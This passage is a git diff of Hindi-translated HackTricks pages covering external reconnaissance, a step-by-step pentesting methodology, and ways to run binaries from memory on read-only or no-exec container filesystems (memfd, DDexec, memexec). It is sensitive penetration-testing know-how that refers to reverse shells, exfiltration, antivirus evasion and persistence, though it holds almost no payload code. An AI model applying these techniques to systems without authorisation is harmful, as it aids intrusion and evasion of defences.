/tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **संवेदनशीलता की खोज** -यदि आप **खुले बकेट्स या क्लाउड फ़ंक्शंस** खोजते हैं तो आपको **उन तक पहुँच प्राप्त करनी चाहिए** और देखना चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं। +यदि आप **खुले बकेट्स या क्लाउड फ़ंक्शंस** खोजते हैं तो आपको **उनका उपयोग करना चाहिए** और देखना चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं। ## ईमेल @@ -592,9 +592,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### गूगल डॉर्क्स -पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ होती हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप [**Gorks**](https://github.com/carlospolop/Gorks) जैसे **उपकरण का उपयोग कर सकते हैं** **उन्हें सभी चलाने के लिए**। +पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ होती हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप **Gorks** जैसे **उपकरण** का उपयोग कर सकते हैं **उन्हें सभी चलाने के लिए**। -_ध्यान दें कि जो उपकरण नियमित गूगल ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि गूगल आपको बहुत जल्दी ब्लॉक कर देगा।_ +_ध्यान दें कि जो उपकरण नियमित Google ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि Google आपको बहुत जल्दी ब्लॉक कर देगा।_ ### **संवेदनशीलता की खोज** @@ -618,7 +618,7 @@ _ध्यान दें कि जो उपकरण नियमित ग **संवेदनशीलताओं** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब अनुप्रयोगों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहूंगा, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)। -मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील संवेदनशीलताएँ खोजने की उम्मीद नहीं करनी चाहिए, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।** +मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील संवेदनशीलताएँ खोजने की उम्मीद नहीं करनी चाहिए, तो वे **कार्यप्रवाहों में कुछ प्रारंभिक वेब जानकारी प्राप्त करने के लिए सहायक होते हैं।** ## पुनरावलोकन @@ -626,15 +626,15 @@ _ध्यान दें कि जो उपकरण नियमित ग तो आपने पहले ही: -1. दायरे में सभी **कंपनियों** को खोज लिया है -2. कंपनियों से संबंधित सभी **संपत्तियों** को खोज लिया है (और यदि दायरे में हो तो कुछ संवेदनशीलता स्कैन किया है) -3. कंपनियों से संबंधित सभी **डोमेन** को खोज लिया है -4. डोमेन के सभी **सबडोमेन** को खोज लिया है (क्या कोई सबडोमेन टेकओवर?) -5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया है। -6. सभी **वेब सर्वर** को खोज लिया है और उनके **स्क्रीनशॉट** लिए हैं (क्या कुछ अजीब है जो गहराई से देखने लायक है?) -7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया है। +1. दायरे में सभी **कंपनियों** को खोज लिया +2. कंपनियों से संबंधित सभी **संपत्तियों** को खोज लिया (और यदि दायरे में हो तो कुछ संवेदनशीलता स्कैन किया) +3. कंपनियों से संबंधित सभी **डोमेन** को खोज लिया +4. डोमेन के सभी **सबडोमेन** को खोज लिया (क्या कोई सबडोमेन टेकओवर?) +5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को खोज लिया। +6. सभी **वेब सर्वर** को खोज लिया और उनके **स्क्रीनशॉट** लिए (क्या कुछ अजीब है जो गहराई से देखने लायक है?) +7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को खोज लिया। 8. **ईमेल**, **क्रेडेंशियल लीक**, और **सीक्रेट लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं। -9. आपने जो भी वेब खोजी हैं, उनका **पेंटेस्टिंग** किया है। +9. आपने जो भी वेब खोजी हैं, उनका **पेंटेस्टिंग** किया। ## **पूर्ण रीकॉन स्वचालित उपकरण** @@ -649,7 +649,7 @@ _ध्यान दें कि जो उपकरण नियमित ग * सभी मुफ्त पाठ्यक्रम [**@Jhaddix**](https://twitter.com/Jhaddix) जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)। @@ -664,7 +664,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें ट्विटर पर फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या हमें **Twitter** पर **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपॉजिटरी में PR सबमिट करें। diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index b93a94983..11d53e047 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -15,7 +15,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < {% endhint %} -
+
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने के लिए - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)। @@ -29,11 +29,11 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp ### 0- भौतिक हमले -क्या आपके पास उस मशीन तक **भौतिक पहुंच** है जिसे आप हमले का लक्ष्य बनाना चाहते हैं? आपको कुछ [**भौतिक हमलों के बारे में ट्रिक्स**](../hardware-physical-access/physical-attacks.md) और [**GUI अनुप्रयोगों से बचने के बारे में**](../hardware-physical-access/escaping-from-gui-applications.md) पढ़ना चाहिए। +क्या आपके पास उस मशीन तक **भौतिक पहुंच** है जिसे आप हमले का लक्ष्य बनाना चाहते हैं? आपको [**भौतिक हमलों के बारे में कुछ ट्रिक्स**](../hardware-physical-access/physical-attacks.md) और [**GUI अनुप्रयोगों से बचने के बारे में**](../hardware-physical-access/escaping-from-gui-applications.md) पढ़ना चाहिए। ### 1 - [नेटवर्क के अंदर होस्ट का पता लगाना](pentesting-network/#discovering-hosts)/ [कंपनी की संपत्तियों का पता लगाना](external-recon-methodology/) -**इस पर निर्भर करता है कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट का पता लगाने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों का पता लगाने** (बाहरी परीक्षण) में रुचि रख सकते हैं। +**इस पर निर्भर करता है** कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट का पता लगाने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों का पता लगाने** (बाहरी परीक्षण) में रुचि रख सकते हैं। {% hint style="info" %} ध्यान दें कि यदि आप बाहरी परीक्षण कर रहे हैं, तो एक बार जब आप कंपनी के आंतरिक नेटवर्क तक पहुंच प्राप्त कर लेते हैं, तो आपको इस गाइड को फिर से शुरू करना चाहिए। @@ -50,26 +50,26 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp ### **4-** [सेवा संस्करण शोषण की खोज](search-exploits.md) -एक बार जब आप जान लेते हैं कि कौन सी सेवाएँ चल रही हैं, और शायद उनका संस्करण, तो आपको **ज्ञात कमजोरियों की खोज करनी चाहिए**। शायद आपको किस्मत मिले और कोई शोषण हो जो आपको एक शेल दे... +एक बार जब आप जान लेते हैं कि कौन सी सेवाएँ चल रही हैं, और शायद उनका संस्करण, तो आपको **ज्ञात कमजोरियों की खोज करनी होगी**। शायद आपको किस्मत मिल जाए और कोई शोषण हो जो आपको एक शेल दे... ### **5-** Pentesting सेवाएँ यदि किसी भी चल रही सेवा के लिए कोई शानदार शोषण नहीं है, तो आपको **प्रत्येक चल रही सेवा में सामान्य गलत कॉन्फ़िगरेशन** की तलाश करनी चाहिए। -**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में **_**PENTESTING**_ **अनुभाग खोजें** (सेवाएँ उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)। +**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में _**PENTESTING**_ **अनुभाग खोजें** (सेवाएँ उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)। **मैं विशेष रूप से** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **भाग का उल्लेख करना चाहता हूँ (क्योंकि यह सबसे विस्तृत है)।**\ इसके अलावा, [**सॉफ़्टवेयर में ज्ञात कमजोरियों को खोजने के लिए एक छोटा गाइड**](search-exploits.md) यहाँ पाया जा सकता है। -**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल खोजें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते** हैं, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, फज़िंग करने और प्रतिक्रियाएँ पढ़ने** से शुरू कर सकते हैं (यदि कोई हो)। +**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल खोजें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते** हैं, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, इसे फज़ करने और प्रतिक्रियाएँ पढ़ने** से शुरू कर सकते हैं (यदि कोई हो)। #### 5.1 स्वचालित उपकरण -कुछ उपकरण भी हैं जो **स्वचालित कमजोरियों का आकलन** कर सकते हैं। **मैं आपको** [**Legion**](https://github.com/carlospolop/legion)**, जो कि मैंने बनाया है और यह इस पुस्तक में आपको मिलेंगे नोट्स पर आधारित है, आज़माने की सिफारिश करूंगा।** +कुछ उपकरण भी हैं जो **स्वचालित कमजोरियों का आकलन** कर सकते हैं। **मैं आपको** [**Legion**](https://github.com/carlospolop/legion)** आजमाने की सिफारिश करूंगा, जो वह उपकरण है जिसे मैंने बनाया है और यह इस पुस्तक में आपको मिल सकने वाले सेवाओं के परीक्षण के नोट्स पर आधारित है।** #### **5.2 ब्रूट-फोर्सिंग सेवाएँ** -कुछ परिदृश्यों में **ब्रूट-फोर्स** किसी **सेवा को समझौता करने** के लिए उपयोगी हो सकता है। [**यहाँ विभिन्न सेवाओं के ब्रूट फोर्सिंग का CheatSheet खोजें**](brute-force.md)**।** +कुछ परिदृश्यों में **ब्रूट-फोर्स** किसी **सेवा को समझौता करने** के लिए उपयोगी हो सकता है। [**यहाँ विभिन्न सेवाओं के ब्रूट फोर्सिंग का एक चीटशीट खोजें**](brute-force.md)**।** ### 6- [फिशिंग](phishing-methodology/) @@ -77,13 +77,13 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp ### **7-** [**शेल प्राप्त करना**](reverse-shells/) -किसी न किसी तरह आपको **शिकार में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए**। फिर, [आपके द्वारा उपयोग किए जा सकने वाले सिस्टम के अंदर संभावित उपकरणों की एक सूची एक रिवर्स शेल प्राप्त करने के लिए बहुत उपयोगी होगी](reverse-shells/)। +किसी न किसी तरह से आपको **शिकार में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए**। फिर, [आपके द्वारा उपयोग किए जा सकने वाले सिस्टम के अंदर संभावित उपकरणों की एक सूची एक रिवर्स शेल प्राप्त करने के लिए बहुत उपयोगी होगी](reverse-shells/)। विशेष रूप से Windows में, आपको **एंटीवायरस से बचने** के लिए कुछ मदद की आवश्यकता हो सकती है: [**इस पृष्ठ की जाँच करें**](../windows-hardening/av-bypass.md)**।**\\ ### 8- अंदर -यदि आपको शेल के साथ समस्याएँ हैं, तो आप यहाँ पेंटेस्टर्स के लिए सबसे उपयोगी कमांड्स का एक छोटा **संकलन** पा सकते हैं: +यदि आपको शेल के साथ समस्याएँ हैं, तो आप यहाँ **पेंटेस्टर्स के लिए सबसे उपयोगी कमांडों का एक छोटा संकलन** पा सकते हैं: * [**Linux**](../linux-hardening/useful-linux-commands.md) * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) @@ -91,14 +91,14 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp ### **9 -** [**एक्सफिल्ट्रेशन**](exfiltration.md) -आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहाँ आपके लिए** [**इन उद्देश्यों के लिए आप जिन सामान्य उपकरणों का उपयोग कर सकते हैं, उनके बारे में एक पोस्ट है**](exfiltration.md)**।** +आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहाँ आपके पास** [**इन उद्देश्यों के लिए उपयोग किए जा सकने वाले सामान्य उपकरणों के बारे में एक पोस्ट है**](exfiltration.md)**।** ### **10- विशेषाधिकार वृद्धि** #### **10.1- स्थानीय प्रिवेस्क** यदि आप बॉक्स के अंदर **रूट/व्यवस्थापक नहीं हैं**, तो आपको **विशेषाधिकार बढ़ाने** का एक तरीका खोजना चाहिए।\ -यहाँ आप **Linux** में [**स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए एक गाइड**](../linux-hardening/privilege-escalation/) और [**Windows**](../windows-hardening/windows-local-privilege-escalation/) में पा सकते हैं।\ +यहाँ आप [**Linux**](../linux-hardening/privilege-escalation/) **और** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **में स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए एक गाइड पा सकते हैं।**\ आपको यह पृष्ठ भी देखना चाहिए कि **Windows कैसे काम करता है**: * [**प्रमाणीकरण, क्रेडेंशियल, टोकन विशेषाधिकार और UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) @@ -122,15 +122,15 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp #### 11.2 - स्थिरता **2 या 3 विभिन्न प्रकार के स्थिरता तंत्र का उपयोग करें ताकि आपको सिस्टम को फिर से शोषण करने की आवश्यकता न पड़े।**\ -**यहाँ आप सक्रिय निर्देशिका पर कुछ** [**स्थिरता ट्रिक्स**](../windows-hardening/active-directory-methodology/#persistence)** पा सकते हैं।** +**यहाँ आप सक्रिय निर्देशिका पर कुछ** [**स्थिरता ट्रिक्स पा सकते हैं**](../windows-hardening/active-directory-methodology/#persistence)**।** TODO: Windows और Linux में स्थिरता पोस्ट पूरा करें ### 12 - पिवटिंग **एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई होस्ट का पता लगाने और स्कैन करने** की आवश्यकता हो सकती है (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहाँ आपका शिकार जुड़ा हुआ है।\ -इस मामले में टनलिंग आवश्यक हो सकती है। यहाँ आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](tunneling-and-port-forwarding.md)।\ -आपको निश्चित रूप से [एक्टिव डायरेक्टरी पेंटेस्टिंग पद्धति](../windows-hardening/active-directory-methodology/) के बारे में पोस्ट की जाँच करनी चाहिए। वहाँ आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स को डंप करने के लिए शानदार ट्रिक्स मिलेंगी।\ +इस मामले में, टनलिंग आवश्यक हो सकती है। यहाँ आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](tunneling-and-port-forwarding.md)।\ +आपको निश्चित रूप से [एक्टिव डायरेक्टरी पेंटेस्टिंग पद्धति](../windows-hardening/active-directory-methodology/) के बारे में पोस्ट की जाँच करनी चाहिए। वहाँ आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स डंप करने के लिए शानदार ट्रिक्स मिलेंगी।\ [**NTLM**](../windows-hardening/ntlm/) के बारे में पृष्ठ की जाँच करें, यह Windows वातावरण में पिवट करने के लिए बहुत उपयोगी हो सकता है। ### अधिक @@ -151,7 +151,7 @@ TODO: Windows और Linux में स्थिरता पोस्ट प * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**पैडिंग ओरेकल**](../crypto-and-stego/padding-oracle-priv.md) -
+
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने के लिए - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)। diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 4bc1f951b..3c67b945b 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -15,18 +15,18 @@ GCP हैकिंग सीखें और अभ्यास करें: < {% endhint %} -
+
-यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_पोलिश में धाराप्रवाह लिखित और मौखिक आवश्यक है_). +यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_). {% embed url="https://www.stmcyber.com/careers" %} ## वीडियो -निम्नलिखित वीडियो में आप इस पृष्ठ में उल्लिखित तकनीकों को अधिक गहराई से समझ सकते हैं: +नीचे दिए गए वीडियो में आप इस पृष्ठ में उल्लिखित तकनीकों को अधिक गहराई से समझ सकते हैं: * [**DEF CON 31 - Linux मेमोरी हेरफेर का अन्वेषण करना**](https://www.youtube.com/watch?v=poHirez8jk4) -* [**DDexec-ng और इन-मेमोरी dlopen() के साथ स्टेल्थ घुसपैठ - HackTricks ट्रैक 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) +* [**DDexec-ng और इन-मेमोरी dlopen() के साथ स्टेल्थ घुसपैठ - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) ## केवल पढ़ने के लिए / कोई निष्पादन नहीं परिदृश्य @@ -45,7 +45,7 @@ securityContext: command: ["sh", "-c", "while true; do sleep 1000; done"] -हालांकि, भले ही फ़ाइल प्रणाली ro के रूप में माउंट की गई हो, **`/dev/shm`** अभी भी लिखने योग्य होगा, इसलिए यह गलत है कि हम डिस्क में कुछ भी नहीं लिख सकते। हालाँकि, यह फ़ोल्डर **कोई निष्पादन सुरक्षा** के साथ माउंट किया जाएगा, इसलिए यदि आप यहाँ एक बाइनरी डाउनलोड करते हैं तो आप **इसे निष्पादित नहीं कर पाएंगे**। +हालांकि, भले ही फ़ाइल प्रणाली ro के रूप में माउंट की गई हो, **`/dev/shm`** अभी भी लिखने योग्य होगा, इसलिए यह गलत है कि हम डिस्क में कुछ भी नहीं लिख सकते। हालाँकि, यह फ़ोल्डर **कोई निष्पादन सुरक्षा** के साथ माउंट किया जाएगा, इसलिए यदि आप यहाँ एक बाइनरी डाउनलोड करते हैं, तो आप **इसे निष्पादित नहीं कर पाएंगे**। {% hint style="warning" %} रेड टीम के दृष्टिकोण से, यह **बाइनरी डाउनलोड और निष्पादित करना जटिल बनाता है** जो पहले से सिस्टम में नहीं हैं (जैसे बैकडोर या `kubectl` जैसे एन्यूमरेटर)। @@ -59,16 +59,16 @@ securityContext: ## मेमोरी बायपास -यदि आप एक बाइनरी को निष्पादित करना चाहते हैं लेकिन फ़ाइल प्रणाली ऐसा करने की अनुमति नहीं दे रही है, तो ऐसा करने का सबसे अच्छा तरीका है **मेमोरी से इसे निष्पादित करना**, क्योंकि **सुरक्षाएँ वहाँ लागू नहीं होती हैं**। +यदि आप एक बाइनरी निष्पादित करना चाहते हैं लेकिन फ़ाइल प्रणाली ऐसा करने की अनुमति नहीं दे रही है, तो ऐसा करने का सबसे अच्छा तरीका है **मेमोरी से इसे निष्पादित करना**, क्योंकि **सुरक्षाएँ वहाँ लागू नहीं होती हैं**। ### FD + exec syscall बायपास -यदि आपके पास मशीन के अंदर कुछ शक्तिशाली स्क्रिप्ट इंजन हैं, जैसे **Python**, **Perl**, या **Ruby**, तो आप मेमोरी से निष्पादित करने के लिए बाइनरी डाउनलोड कर सकते हैं, इसे एक मेमोरी फ़ाइल डिस्क्रिप्टर (`create_memfd` syscall) में स्टोर कर सकते हैं, जो उन सुरक्षा द्वारा संरक्षित नहीं होगा और फिर **`exec` syscall** को कॉल कर सकते हैं जो **fd को निष्पादित करने के लिए फ़ाइल के रूप में इंगित करता है**। +यदि आपके पास मशीन के अंदर कुछ शक्तिशाली स्क्रिप्ट इंजन हैं, जैसे **Python**, **Perl**, या **Ruby**, तो आप मेमोरी से निष्पादित करने के लिए बाइनरी डाउनलोड कर सकते हैं, इसे एक मेमोरी फ़ाइल डिस्क्रिप्टर (`create_memfd` syscall) में स्टोर कर सकते हैं, जो उन सुरक्षा द्वारा संरक्षित नहीं होगा और फिर **`exec` syscall** को कॉल कर सकते हैं, जिसमें **fd को निष्पादित करने के लिए फ़ाइल के रूप में इंगित किया गया है**। -इसके लिए आप आसानी से प्रोजेक्ट [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) का उपयोग कर सकते हैं। आप इसे एक बाइनरी पास कर सकते हैं और यह निर्दिष्ट भाषा में एक स्क्रिप्ट उत्पन्न करेगा जिसमें **बाइनरी संकुचित और b64 एन्कोडेड** होगी और इसे **डिकोड और अनकंप्रेस** करने के लिए निर्देश होंगे एक **fd** में जो `create_memfd` syscall को कॉल करके बनाया गया है और इसे चलाने के लिए **exec** syscall को कॉल किया जाएगा। +इसके लिए आप आसानी से प्रोजेक्ट [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) का उपयोग कर सकते हैं। आप इसे एक बाइनरी पास कर सकते हैं और यह निर्दिष्ट भाषा में एक स्क्रिप्ट उत्पन्न करेगा जिसमें **बाइनरी संकुचित और b64 एन्कोडेड** होगी और इसे **डिकोड और अनकंप्रेस** करने के लिए निर्देश होंगे एक **fd** में जो `create_memfd` syscall को कॉल करके बनाया गया है और इसे चलाने के लिए **exec** syscall को कॉल किया गया है। {% hint style="warning" %} -यह अन्य स्क्रिप्टिंग भाषाओं जैसे PHP या Node में काम नहीं करता क्योंकि उनके पास स्क्रिप्ट से कच्चे syscalls को कॉल करने का कोई डिफ़ॉल्ट तरीका नहीं है, इसलिए `create_memfd` को कॉल करना संभव नहीं है ताकि बाइनरी को स्टोर करने के लिए **मेमोरी fd** बनाया जा सके। +यह अन्य स्क्रिप्टिंग भाषाओं जैसे PHP या Node में काम नहीं करता क्योंकि उनके पास स्क्रिप्ट से कच्चे syscalls को कॉल करने का कोई डिफ़ॉल्ट तरीका नहीं है, इसलिए `create_memfd` को कॉल करके **मेमोरी fd** बनाना संभव नहीं है। इसके अलावा, `/dev/shm` में एक फ़ाइल के साथ एक **नियमित fd** बनाना काम नहीं करेगा, क्योंकि आपको इसे चलाने की अनुमति नहीं होगी क्योंकि **कोई निष्पादन सुरक्षा** लागू होगी। {% endhint %} @@ -77,7 +77,7 @@ securityContext: [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) एक तकनीक है जो आपको **अपने स्वयं के प्रोसेस की मेमोरी को संशोधित करने** की अनुमति देती है, इसके **`/proc/self/mem`** को ओवरराइट करके। -इसलिए, **प्रक्रिया द्वारा निष्पादित हो रहे असेंबली कोड को नियंत्रित करते हुए**, आप एक **शेलकोड** लिख सकते हैं और प्रक्रिया को "म्यूट" कर सकते हैं ताकि **कोई भी मनमाना कोड निष्पादित किया जा सके**। +इसलिए, **प्रक्रिया द्वारा निष्पादित हो रहे असेंबली कोड को नियंत्रित करते हुए**, आप एक **शेलकोड** लिख सकते हैं और प्रक्रिया को **किसी भी मनमाने कोड को निष्पादित करने के लिए "म्यूटेट"** कर सकते हैं। {% hint style="success" %} **DDexec / EverythingExec** आपको **मेमोरी** से अपने स्वयं के **शेलकोड** या **किसी भी बाइनरी** को लोड और **निष्पादित** करने की अनुमति देगा। @@ -94,7 +94,7 @@ For more information about this technique check the Github or: ### MemExec -[**Memexec**](https://github.com/arget13/memexec) DDexec का स्वाभाविक अगला कदम है। यह एक **DDexec शेलकोड डेमनाइज्ड** है, इसलिए जब भी आप **एक अलग बाइनरी चलाना चाहते हैं** तो आपको DDexec को फिर से लॉन्च करने की आवश्यकता नहीं है, आप बस DDexec तकनीक के माध्यम से memexec शेलकोड चला सकते हैं और फिर **नए बाइनरी लोड और चलाने के लिए इस डेमन के साथ संवाद कर सकते हैं**। +[**Memexec**](https://github.com/arget13/memexec) DDexec का स्वाभाविक अगला कदम है। यह एक **DDexec शेलकोड डेमोनाइज्ड** है, इसलिए हर बार जब आप **एक अलग बाइनरी चलाना चाहते हैं** तो आपको DDexec को फिर से लॉन्च करने की आवश्यकता नहीं है, आप बस DDexec तकनीक के माध्यम से memexec शेलकोड चला सकते हैं और फिर **नए बाइनरी लोड और चलाने के लिए इस डेमोन के साथ संवाद कर सकते हैं**। आप [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) पर **memexec का उपयोग करके PHP रिवर्स शेल से बाइनरी निष्पादित करने** का एक उदाहरण पा सकते हैं। @@ -112,13 +112,13 @@ Distroless कंटेनरों का लक्ष्य **अनावश ### Reverse Shell -एक distroless कंटेनर में आप **शायद `sh` या `bash` भी नहीं पाएंगे** ताकि एक नियमित शेल प्राप्त किया जा सके। आप `ls`, `whoami`, `id` जैसे बाइनरी भी नहीं पाएंगे... जो कुछ भी आप आमतौर पर एक सिस्टम में चलाते हैं। +एक distroless कंटेनर में आप **`sh` या `bash`** भी नहीं पाएंगे ताकि एक नियमित शेल प्राप्त किया जा सके। आप बाइनरी जैसे `ls`, `whoami`, `id`... भी नहीं पाएंगे... जो कुछ भी आप आमतौर पर एक सिस्टम में चलाते हैं। {% hint style="warning" %} इसलिए, आप **रिवर्स शेल** प्राप्त करने या **सिस्टम की गणना** करने में सक्षम **नहीं होंगे** जैसे आप आमतौर पर करते हैं। {% endhint %} -हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक **Python रिवर्स शेल** प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक नोड रिव शेल प्राप्त कर सकते हैं, और अधिकांश **स्क्रिप्टिंग भाषाओं** के साथ भी यही है। +हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक **Python रिवर्स शेल** प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक नोड रिव शेल प्राप्त कर सकते हैं, और अधिकांश **स्क्रिप्टिंग भाषा** के साथ भी यही है। {% 